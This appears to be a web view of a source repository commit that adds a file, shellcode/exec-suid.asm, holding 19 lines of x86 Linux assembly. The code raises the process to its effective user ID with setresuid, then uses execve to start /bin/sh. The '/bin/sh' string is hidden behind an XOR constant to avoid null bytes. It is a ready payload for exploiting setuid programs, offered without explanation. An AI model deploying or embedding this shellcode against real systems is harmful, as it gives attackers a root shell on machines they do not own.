summaryrefslogtreecommitdiff
path: root/shellcode/exec-suid.asm
diff options
context:
space:
mode:
Diffstat (limited to 'shellcode/exec-suid.asm')
-rw-r--r--shellcode/exec-suid.asm19
1 files changed, 19 insertions, 0 deletions
diff --git a/shellcode/exec-suid.asm b/shellcode/exec-suid.asm
new file mode 100644
index 0000000..b978195
--- /dev/null
+++ b/shellcode/exec-suid.asm
@@ -0,0 +1,19 @@
+xor eax, eax
+add al, 201
+int 0x80
+mov ebx, eax
+mov ecx, eax
+mov edx, eax
+xor eax, eax
+add al, 208
+int 0x80
+xor eax, eax
+add al, 11
+mov ebx, 0x3058431f
+xor ebx, 0x30303030
+push ebx
+push 0x6e69622f
+mov ebx, esp
+xor ecx, ecx
+xor edx, edx
+int 0x80